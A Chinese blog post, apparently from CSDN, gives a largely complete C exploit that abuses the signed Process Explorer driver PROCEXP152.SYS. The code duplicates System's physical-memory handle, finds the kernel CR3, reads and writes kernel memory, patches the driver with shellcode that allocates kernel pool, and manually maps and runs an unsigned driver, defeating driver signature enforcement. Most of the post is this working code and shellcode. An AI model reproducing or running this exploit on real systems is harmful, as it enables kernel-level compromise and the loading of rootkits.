• ProcExp的利用

    背景

    事件的起因是这篇blog，简单来说就是ark工具能够打开和复制system的句柄，其中\Device\PhysicalMemory的句柄可以映射到当前进程，从而直接操作物理地址。

    利用

    去msdn下载一个最新的PROCEXP，找到它的驱动文件PROCEXP152.SYS，我这里的版本如下：

     丢进ida（简单分析一下），找到可以利用的系统调用号，该ioctl的目的是复制句柄到当前进程。

     简单看一下查找的代码，很简单，复制system的所有句柄，查找句柄名为\Device\PhysicalMemory的句柄。

    1. ULONG64 openProcess(ULONG64 pid)
    2. {
    3. 	ULONG64 lPid = pid;
    4. 	ULONG64 handle = 0;
    5. 	ULONG ioctl = 0x3c - 0x7CCB0000;
    6. 	sendData(ioctl, &pid, sizeof(ULONG64), &handle, sizeof(ULONG64));
    7. 	return handle;
    8. }
    9.  
    10. ULONG64 ZwDuplicateObject(ULONG64 handleValue)
    11. {
    12. 	char inData[0x20] = { 0 };
    13. 	*(ULONG64*)inData = 4;
    14. 	*(ULONG64*)(inData + 0x18) = handleValue;
    15.  
    16. 	ULONG64 duplicateHandle = 0;
    17. 	ULONG ioctl = 0x14 - 0x7CCB0000;
    18. 	sendData(ioctl, inData, 0x20, &duplicateHandle, sizeof(ULONG64));
    19. 	return 	duplicateHandle;
    20. }
    21.  
    22. ULONG64 getPhysicalMemoryHandle(ULONG64 systemHandle)
    23. {
    24. 	ULONG64 MemoryHandle = NULL;
    25. 	if (!initFunc())
    26. 	{
    27. 		printf("init func failed! \n");
    28. 		return NULL;
    29. 	}
    30.  
    31. 	PSYSTEM_HANDLE_INFORMATION_EX shInfo = NULL;
    32. 	if (PhEnumHandlesEx(&shInfo) != STATUS_SUCCESS)
    33. 		return NULL;
    34. 	for (ULONG i = 0; i < shInfo->NumberOfHandles; ++i)
    35. 	{
    36. 		if (shInfo->Handles[i].UniqueProcessId != 4)
    37. 			continue;
    38. 		//printf("shInfo->Handles[i].HandleValue 0x%x\n", shInfo->Handles[i].HandleValue);
    39.  
    40. 		//虽然procexp中提供了查询hanadleTypeName的方法，但是pid要大于8，且procexp中没有提供objectname的函数，所以这里把所有句柄直接复制过来
    41. 		ULONG64 dupHandle = ZwDuplicateObject(shInfo->Handles[i].HandleValue);
    42.  
    43. 		//使用下面的r3的方式部分句柄获取为0,目标\Device\PhysicalMemory也是0
    44. 		//ULONG64 dupHandle = NULL;
    45. 		//DuplicateHandle((HANDLE)systemHandle, (HANDLE)shInfo->Handles[i].HandleValue,GetCurrentProcess(),(LPHANDLE)&dupHandle,0x10000000,false,DUPLICATE_SAME_ACCESS);
    46. 		//printf("copyHandle 0x%llx\n", dupHandle);
    47. 		if (dupHandle)
    48. 		{
    49. 			//我比较懒只拿句柄名
    50. 			char BufferForObjectName[1024] = { 0 };
    51.  
    52. 			//获取句柄名,r3访问可能会卡死 https://blog.csdn.net/qq_18218335/article/details/78155282
    53. 			NTSTATUS status = NtQueryObject((HANDLE)dupHandle, ObjectNameInformation, BufferForObjectName, sizeof(BufferForObjectName), NULL);
    54. 			if (NT_SUCCESS(status))
    55. 			{
    56. 				POBJECT_NAME_INFORMATION ObjectName = (POBJECT_NAME_INFORMATION)BufferForObjectName;
    57. 				//printf("ObjectName->NameBuffer %S len %d \n", ObjectName->Name.Buffer, ObjectName->Name.Length);
    58. 				if (ObjectName->Name.Length == wcslen(L"\\Device\\PhysicalMemory")*2 && memcmp((wchar_t*)ObjectName->Name.Buffer, L"\\Device\\PhysicalMemory",ObjectName->Name.Length) == 0)
    59. 				{
    60. 					MemoryHandle = dupHandle;
    61. 					break;
    62. 				}
    63. 			}
    64. 		}
    65. 	}
    66. 	VirtualFree(shInfo, 0, MEM_RELEASE);
    67.  
    68. 	return MemoryHandle;
    69. }

     找到之后就可以将物理内存映射到进程的进程空间进行操作，读写物理地址的代码如下，也比较容易理解，就是需要注意写入的数据存在跨页的情况：

    1. NTSTATUS ReadWritePhysMem(HANDLE hPhysMem, ULONG64 addr, size_t size, void* inOutBuf, bool read = true)
    2. {
    3. 	PVOID ptrBaseMemMapped = NULL;
    4. 	SECTION_INHERIT inheritDisposition = ViewShare;
    5. 	NTSTATUS status = STATUS_SUCCESS;
    6. 	LARGE_INTEGER sectionOffset;
    7.  
    8. 	// Mapping page
    9. 	SYSTEM_INFO sysInfo;
    10. 	GetSystemInfo(&sysInfo);
    11. 	const ULONG64 offsetRead = addr % sysInfo.dwPageSize;
    12. 	const ULONG64 addrBasePage = addr - offsetRead;
    13. 	sectionOffset.QuadPart = addrBasePage;
    14.  
    15. 	// Making sure that the info to read doesn't span on 2 different pages
    16. 	const ULONG64 addrEndOfReading = addr + size;
    17. 	const ULONG64 offsetEndOfRead = addrEndOfReading % sysInfo.dwPageSize;
    18. 	const ULONG64 addrBasePageEndOfReading = addrEndOfReading - offsetEndOfRead;
    19. 	size_t sizeToMap = sysInfo.dwPageSize;
    20. 	if (addrBasePageEndOfReading != addrBasePage)
    21. 		sizeToMap *= 2;
    22.  
    23. 	// We cannot simply use a MapViewOfFile, since it does checks that prevents us from reading kernel memory, so we use NtMapViewOfSection.
    24. 	status = NtMapViewOfSection(hPhysMem, GetCurrentProcess(), &ptrBaseMemMapped, NULL, NULL, §ionOffset, (PSIZE_T)&sizeToMap, inheritDisposition, NULL, PAGE_READWRITE);
    25.  
    26. 	if (status != STATUS_SUCCESS || !ptrBaseMemMapped)
    27. 		return status;
    28.  
    29. 	// Copying the memory, unmapping, and returning
    30. 	const ULONG64 localAddrToRead = (ULONG64)(ptrBaseMemMapped) + offsetRead;
    31. 	if (read)
    32. 		memcpy(inOutBuf, (void*)(localAddrToRead), size);
    33. 	else
    34. 		memcpy((void*)(localAddrToRead), inOutBuf, size);
    35. 	UnmapViewOfFile(ptrBaseMemMapped);
    36. 	return status;
    37. }

    但是只操作物理地址没什么用啊，难道直接搜索nt的特侦码？这样也是一种方法，但是不够体面，这里找到了这个blog，简单来说通过uefi启动的系统，0x1000-0x100000的物理地址存了一个结构体PROCESSOR_START_BLOCK，而且都在页的开头。

    其中 _KPROCESSOR_STATE中有system的cr3，而且根据观察，win10的system的cr3是固定的0x1ad000（当然不建议直接使用，能搜出来为什么要写死呢）

    1. typedef struct _CONTEXT
    2. {
    3.      ULONG ContextFlags;
    4.      ULONG Dr0;
    5.      ULONG Dr1;
    6.      ULONG Dr2;
    7.      ULONG Dr3;
    8.      ULONG Dr6;
    9.      ULONG Dr7;
    10.      FLOATING_SAVE_AREA FloatSave;
    11.      ULONG SegGs;
    12.      ULONG SegFs;
    13.      ULONG SegEs;
    14.      ULONG SegDs;
    15.      ULONG Edi;
    16.      ULONG Esi;
    17.      ULONG Ebx;
    18.      ULONG Edx;
    19.      ULONG Ecx;
    20.      ULONG Eax;
    21.      ULONG Ebp;
    22.      ULONG Eip;
    23.      ULONG SegCs;
    24.      ULONG EFlags;
    25.      ULONG Esp;
    26.      ULONG SegSs;
    27.      UCHAR ExtendedRegisters[512];
    28. } CONTEXT, *PCONTEXT;
    29.  
    30. typedef struct _KSPECIAL_REGISTERS
    31. {
    32.      ULONG Cr0;
    33.      ULONG Cr2;
    34.      ULONG Cr3;
    35.      ULONG Cr4;
    36.      ULONG KernelDr0;
    37.      ULONG KernelDr1;
    38.      ULONG KernelDr2;
    39.      ULONG KernelDr3;
    40.      ULONG KernelDr6;
    41.      ULONG KernelDr7;
    42.      DESCRIPTOR Gdtr;
    43.      DESCRIPTOR Idtr;
    44.      WORD Tr;
    45.      WORD Ldtr;
    46.      ULONG Reserved[6];
    47. } KSPECIAL_REGISTERS, *PKSPECIAL_REGISTERS;
    48.  
    49. typedef struct _KPROCESSOR_STATE
    50. {
    51.      CONTEXT ContextFrame;
    52.      KSPECIAL_REGISTERS SpecialRegisters;
    53. } KPROCESSOR_STATE, *PKPROCESSOR_STATE;

    有了结构体搜索起cr3来就简单了

    1. ULONG64 GetPML4(ULONG64 pbLowStub1M)
    2. {
    3. 	ULONG offset = 0;
    4. 	ULONG64 PML4 = 0;
    5. 	//这里有个坑，注意x32和x64指针大小
    6. 	ULONG cr3_offset = 0xa0;//FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) + FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);
    7.  
    8. 	__try 
    9. 	{
    10. 		while (offset < 0x100000) 
    11. 		{
    12. 			offset += 0x1000;
    13. 			if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmp
    14. 				continue;
    15. 			//编译为0x32位的是6c  0x64的是70，这里我习惯编译成x32，所以这里写死0x70	FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget)
    16. 			//printf("offset  %x *(UINT64*)(pbLowStub1M + offset + 0x70) %llX\n", offset, *(UINT64*)(pbLowStub1M + offset + 0x70));
    17. 			if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + 0x70)))
    18. 				continue;
    19. 			if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))
    20. 				continue;
    21. 			PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);
    22. 			break;
    23. 		}
    24.  
    25. 	}__except (EXCEPTION_EXECUTE_HANDLER) {}
    26.  
    27. 	return PML4;
    28. }

    有了cr3，那就可以通过分页操作system映射的虚拟地址了，代码如下

    1. NTSTATUS ReadWriteVirtualAddressValue(ULONG64 cr3, HANDLE hPhysMem, ULONG64 virtualAddress, ULONG operateSize, PVOID Data, bool read)
    2. {
    3. 	/*ULONG64* pTmp = &virtualAddress;//https://bbs.pediy.com/thread-203391.htm
    4. 	PPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmp;
    5. 	printf("pageFormat->offset %llx, pageFormat->pte %llx, pageFormat->pde %llx, pageFormat->ppe %llx, pageFormat->pxe %llx",pageFormat->offset, pageFormat->pte, pageFormat->pde, pageFormat->ppe, pageFormat->pxe);
    6. 	*/
    7. 	ULONG64* pTmpVirtualAddress = &virtualAddress;
    8. 	PPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmpVirtualAddress;
    9.  
    10. 	//pxe处理
    11. 	ULONG64 pxe = NULL;
    12. 	ReadPhysMem(hPhysMem, cr3 + 8 * pageFormat->pxe, 8, &pxe);
    13. 	if (!pxe)
    14. 		return STATUS_UNSUCCESSFUL;
    15. 	//printf("pxe 0x%llx \n", pxe);
    16. 	pxe &= 0xFFFFFFFFFF000;//去掉高12和低12位数
    17.  
    18. 	//ppe处理
    19. 	ULONG64 ppe = NULL;
    20. 	ReadPhysMem(hPhysMem, pxe + 8 * pageFormat->ppe, 8, &ppe);
    21. 	if (!ppe)
    22. 		return STATUS_UNSUCCESSFUL;
    23. 	//printf("ppe 0x%llx \n", ppe);
    24. 	ppe &= 0xFFFFFFFFFF000;//去掉高12和低12位数
    25. 	if (ppe & 0x80)//1g大页
    26. 	{
    27. 		//低30位清零
    28. 		ppe >>= 30;
    29. 		ppe <<= 30;
    30.  
    31. 		//高34位清零
    32. 		virtualAddress <<= 34;
    33. 		virtualAddress >>= 34;
    34.  
    35. 		if (read)
    36. 			return ReadPhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);
    37. 		else
    38. 			return WritePhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);
    39. 	}
    40.  
    41.  
    42. 	//pde处理
    43. 	ULONG64	pde = NULL;
    44. 	ReadPhysMem(hPhysMem, ppe + 8 * pageFormat->pde, 8, &pde);
    45. 	if (!pde)
    46. 		return STATUS_UNSUCCESSFUL;
    47. 	//printf("pde 0x%llx \n", pde);
    48. 	pde &= 0xFFFFFFFFFF000;//去掉高12和低12位数
    49. 	if (pde & 0x80) //2m大页
    50. 	{
    51. 		//低21位清零
    52. 		pde >>= 21;
    53. 		pde <<= 21;
    54.  
    55. 		//高43位清零
    56. 		virtualAddress <<= 43;
    57. 		virtualAddress >>= 43;
    58.  
    59. 		if (read)
    60. 			return ReadPhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);
    61. 		else
    62. 			return WritePhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);
    63. 	}
    64.  
    65. 	//pte处理
    66. 	ULONG64	pte = NULL;
    67. 	ReadPhysMem(hPhysMem, pde + 8 * pageFormat->pte, 8, &pte);
    68. 	if (!pte)
    69. 		return STATUS_UNSUCCESSFUL;
    70. 	//printf("pte 0x%llx \n", pte);
    71. 	pte &= 0xFFFFFFFFFF000;//去掉高12和低12位数
    72.  
    73. 	if (read)
    74. 		return ReadPhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);
    75. 	else
    76. 		return WritePhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);
    77.  
    78. 	return STATUS_UNSUCCESSFUL;
    79. }

    现在能读写内核地址虚拟地址了，能不能做一个简单的demo，这里是可以的，利用漏洞加载未签名的驱动程序（这里我只修复了nt的导入表以及重定位，而且没有传入驱动对象，也就意味着不能指定unload和mj_control），这里抄袭了kdu的想法，hook驱动的ioctl调用函数。

    思路

    首先需要在内核申请一块地址，然后把未签名的驱动修复之后拷贝到内核中，启动线程或者修改线程执行流程到驱动的入口函数。

    这里需要解决的第一个问题就是，如何在内核申请内存，这里处理比较简单，直接hook procexp的ioctl的调用函数，选了一个合适的调用号0x24

     写入shellcode，控制参数申请和释放内核内存

    1. ULONG64 operateMemInit(HANDLE hPhysMem)
    2. {
    3. 	ULONG64 readData = 0;
    4. 	ULONG64 cr3 = GetCr3(hPhysMem);
    5. 	if (cr3)
    6. 	{
    7. 		ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");
    8. 		if (procexpBase)
    9. 		{
    10. 			printf("procexpBase %llX\n", procexpBase);
    11. 			//hook 0x24调用 这里函数0x30D0偏移写死，有懒人，我不说是谁
    12. 			NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0 + 8, 8, &readData, 1);
    13. 			if (NT_SUCCESS(status))
    14. 			{
    15. 				if (readData == 0x848d48f88b4948ec)//这里代表函数还没有改
    16. 				{
    17. 					//这里写shellCode，主要有三个函数，1->ExAllocatePool 2->ExFreePool 以及3->PsCreateSystemThread (*+﹏+*)~@
    18. 					ULONG64 ExAllocatePool = GetKernelFuncAddress((char *)"ExAllocatePool");// 0xfffff8076c75fdb0;
    19. 					ULONG64 ExFreePool = GetKernelFuncAddress((char *)"ExFreePool");// 0xfffff8076cdb3140;
    20. 					/*
    21. 					40 53                                                           push    rbx
    22. 					56                                                              push    rsi
    23. 					57                                                              push    rdi
    24. 					41 57                                                           push    r15
    25. 					48 83 EC 58                                                     sub     rsp, 58h //注意栈对齐movaps  xmmword ptr [rbp-21h],xmm0 ss:0018:ffffa687`b2e21138
    26. 																					//rcx = inBuf rdx = outBuf r8 = outLen
    27. 					48 8B C1                                                        mov rax,rcx
    28. 					48 8B 00                                                        mov rax,qword ptr ds:[rax]
    29. 					48 83 F8 01                                                     cmp rax,1
    30. 					74 10                                                           je eip + 18
    31. 					48 83 F8 02                                                     cmp rax,2
    32. 					74 2A                                                           je eip + 44
    33. 					48 83 F8 03                                                     cmp rax,3 //原本打算是PsCreateSystemThread，但直接hook函数更省事儿
    34. 					74 36                                                           je eip + 56
    35. 					EB 34                                                           jmp eip + 54
    37. 					// ExAllocatePool函数的调用
    38. 					90                                                              nop
    39. 					90                                                              nop
    40. 					48 B8 11 11 11 11 11 11 11 11                                   mov rax,ExAllocatePool + 40   
    41. 					48 8B D9                                                        mov rbx,rcx                 
    42. 					B9 00 00 00 00                                                  mov ecx,0  //NonPagedPool
    43. 					48 8B F2                                                        mov rsi,rdx                  
    44. 					48 8B 53 08                                                     mov rdx,qword ptr ds:[rbx+8]//NumberOfBytes
    45. 					FF D0                                                           call rax
    46. 					48 89 06                                                        mov qword ptr ds:[rsi],rax
    48. 					//ExFreePool函数的调用
    49. 					EB 12                                                           jmp eip + 20 
    50. 					48 B8 11 11 11 11 11 11 11 11                                   mov rax,ExFreePool + 72
    51. 					48 8B 49 08                                                     mov rcx,qword ptr ds:[rcx+8]
    52. 					FF D0                                                           call rax
    54. 					90                                                              nop
    55. 					90                                                              nop
    56. 					90                                                              nop
    57. 					90                                                              nop
    58. 					90                                                              nop
    59. 					48 83 C4 58                                                     add     rsp, 58h
    60. 					41 5F                                                           pop     r15
    61. 					5F                                                              pop     rdi
    62. 					5E                                                              pop     rsi
    63. 					5B                                                              pop     rbx
    64. 					C3                                                              retn
    65. 					*/
    66. 					//保存原始代码。。。。省略
    67. 					UCHAR shellCode[] = { 0x40,0x53,0x56,0x57,0x41,0x57,0x48,0x83,0xEC,0x58,
    68. 						//这里是处理逻辑的opCobde
    69. 						0x48,0x8B,0xC1,0x48,0x8B,0x00,0x48,0x83,0xF8,0x01,0x74,0x10,0x48,0x83,0xF8,0x02,0x74,0x2A,0x48,0x83,0xF8,0x03,0x74,0x36,0xEB,0x34,
    70. 						0x90,0x90,
    71. 						//这里处理函数一
    72. 						0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0xD9,0xB9,0x00,0x00,0x00,0x00,0x48,0x8B,0xF2,0x48,0x8B,0x53,0x08,0xFF,0xD0,0x48,0x89,0x06,
    73. 						0xEB,0x12,
    74. 						//这里处理函数二
    75. 						0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0x49,0x08,0xFF,0xD0,
    76. 						0x90,0x90,0x90,0x90,0x90,
    77. 						//结束
    78. 						0x48,0x83,0xC4,0x58,0x41,0x5F,0x5F,0x5E,0x5B,0xC3 };
    79.  
    80. 					//拷贝函数
    81. 					memcpy(shellCode + 40, &ExAllocatePool, 8);
    82. 					memcpy(shellCode + 72, &ExFreePool, 8);
    83.  
    84. 					status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0, sizeof(shellCode), shellCode, 0);
    85. 					if (NT_SUCCESS(status))
    86. 					{
    87. 						//__(1,0);
    88. 						printf("write shellcode func successful!!\n");
    89. 						return cr3;
    90. 					}
    91.  
    92. 				}
    93. 			}
    94. 			else
    95. 			{
    96. 				printf("invalid address\n");
    97. 			}
    98.  
    99. 		}
    100. 	}
    101.  
    102. 	return cr3;
    103. }

    很简单，传入1代表申请内存，2是释放，其他是不操作。

    最后就是修复iat和重定位，在跳转到oep就能保证驱动的执行了，当然可能比较复杂的驱动会有问题，但这只能结合你自己的驱动自己去调，我写的demo很简单，加载也不会有问题。

    1. //这里只修复nt的导入函数和重定位，能修但是只能修一点点
    2. NTSTATUS LoadDriver(HANDLE hPhysMem,ULONG64 cr3,WCHAR* path)
    3. {
    4. 	UNICODE_STRING ustr;
    5. 	WCHAR sysPath[MAX_PATH * 2];
    6. 	ULONG64 sysBase = NULL;
    7.  
    8. 	wcscpy_s(sysPath, path);
    9. 	RtlInitUnicodeString(&ustr, sysPath);
    10. 	NTSTATUS ntStatus = LdrLoadDll(NULL, NULL, &ustr, (PVOID*)& sysBase);
    11. 	if (NT_SUCCESS(ntStatus))
    12. 	{
    13. 		//printf("sysBase %llX \n", sysBase);
    14. 		PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)sysBase;
    15. 		if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    16. 		{
    17. 			return STATUS_UNSUCCESSFUL;
    18. 		}
    19. 		PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)sysBase + ImageDosHeader->e_lfanew);
    20. 		PIMAGE_IMPORT_DESCRIPTOR pImportHeader = (PIMAGE_IMPORT_DESCRIPTOR)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    21. 		while (pImportHeader->Name && pImportHeader->Characteristics)
    22. 		{
    23. 			PCHAR name = (PCHAR)sysBase + pImportHeader->Name;
    24. 			PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pImportHeader->FirstThunk + (PUCHAR)sysBase);
    25. 			if (memcmp("ntoskrnl.exe", name, strlen("ntoskrnl.exe")) == 0)//只处理nt
    26. 			{
    27. 				while (pImageThunkData->u1.AddressOfData)
    28. 				{
    29. 					if ((pImageThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) == 0)
    30. 					{
    31. 						PIMAGE_IMPORT_BY_NAME pImageImportName = (PIMAGE_IMPORT_BY_NAME)(pImageThunkData->u1.AddressOfData + (PUCHAR)sysBase);
    32. 						ULONG64 func = GetKernelFuncAddress(pImageImportName->Name);
    33. 						if (func)
    34. 							VirtualProtectCopy(&pImageThunkData->u1.Function, func, 8);
    35. 						printf("name %s address %llx \n", pImageImportName->Name, pImageThunkData->u1.Function);
    36. 					}
    37. 					pImageThunkData++;
    38. 				}
    39. 				break;
    40. 			}
    41. 			pImportHeader++;
    42. 		}
    43. 		ULONG imgSize = pImageNtHeaders64->OptionalHeader.SizeOfImage;
    44. 		ULONG64 allocateAddress = __(1, imgSize);
    45. 		if (allocateAddress)
    46. 		{
    47. 			ULONG64 baseAddressoffest = ((ULONG64)allocateAddress) - (pImageNtHeaders64->OptionalHeader.ImageBase);
    48. 			PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    49. 			while (pRelocation->SizeOfBlock && pRelocation->VirtualAddress)
    50. 			{
    51. 				ULONG iTypeOffsetCount = (ULONG)(pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
    52. 				for (ULONG i = 0; i < iTypeOffsetCount; i++)
    53. 				{
    54. 					USHORT TypeOffsetInfo = *(USHORT*)((PUCHAR)pRelocation + sizeof(IMAGE_BASE_RELOCATION) + i * sizeof(USHORT));
    55. 					USHORT TypeOffsetFlag = (TypeOffsetInfo >> 12) & 0x000F;
    56. 					if (IMAGE_REL_BASED_HIGHLOW == TypeOffsetFlag || TypeOffsetFlag == IMAGE_REL_BASED_DIR64)
    57. 					{
    58. 						ULONG64 relocationAddress = (ULONG64)sysBase + pRelocation->VirtualAddress + (TypeOffsetInfo & 0x0FFF);
    59. 						//*(PULONG64)relocationAddress += baseAddressoffest;
    60. 						VirtualProtectCopy((ULONG64*)relocationAddress, *(PULONG64)relocationAddress + baseAddressoffest, 8);
    61. 					}
    62. 				}
    63. 				pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG64)pRelocation + pRelocation->SizeOfBlock);
    64. 			}
    65. 			printf("sysbase %llX allocateAddress %llX size %X \n", sysBase, allocateAddress, imgSize);
    66. 			//把数据拷贝过去
    67. 			for (ULONG i = 0; i < imgSize; i += 0x1000)
    68. 			{
    69. 				__try
    70. 				{
    71. 					printf("%llX \n", sysBase + i);//这里是不可以省略的，因为拷贝的时候r3的所有内存不是全部映射了，这是一种偷懒的做法，有些人真是懒死了
    72. 					ReadWriteVirtualAddressValue(cr3, hPhysMem, allocateAddress + i, 0x1000, (PVOID)(sysBase + i), 0);
    73. 				}__except(EXCEPTION_EXECUTE_HANDLER) {}
    74. 				
    75. 			}
    76.  
    77. 			//printf("write successful!! allocateAddress is %llx \n", allocateAddress);
    78. 			
    79. 			//然后找一个hook点jmp过去
    80. 			ULONG64 oep = pImageNtHeaders64->OptionalHeader.AddressOfEntryPoint + allocateAddress;
    81. 			ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");
    82. 			if (procexpBase)
    83. 			{
    84. 				/*
    85. 				48 B8 11 11 11 11 11 11 11 11                mov rax,1111111111111111
    86. 				FF E0                                        jmp rax
    87. 				*/
    88. 				UCHAR shellCode[] = { 0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xFF,0xE0 };
    89. 				memcpy(shellCode + 2, &oep, 8);
    90. 				NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x1A20, sizeof(shellCode), shellCode, 0);
    91. 				{
    92. 					printf("write oep success %llX \n", oep);
    93.  
    94. 					system("pause");
    95.  
    96. 					//触发jmp oep	==>需要注意的是，由于没有初始化pdriverobject，所以驱动里面不要写unload函数
    97. 					___();
    98. 				}
    99. 			}
    100. 			system("pause");
    101. 			__(2, allocateAddress);//释放
    102. 		}
    103. 	}
    104. 	return STATUS_SUCCESS;
    105. }

  • 相关阅读:
    Spring Security（五）密码加密与更新密码
    网易数帆 Envoy Gateway 实践之旅：坚守 6 年，峥嵘渐显
    FPGA中的LUT查找表工作原理。
    字节跳动校招——运维工程师-系统架构岗位面经分享
    构建全真互联数字地图底座 腾讯地图产业版WeMap重磅升级
    交易所金融知识
    云扩RPA研习社 | 浅析自动化原理（上）
    React 图片瀑布流
    Webpack Bundle Analyzer包分析器
    ORACLE 通过数据值查找找表名和字段名
  • 原文地址：https://blog.csdn.net/qq_37353105/article/details/127117411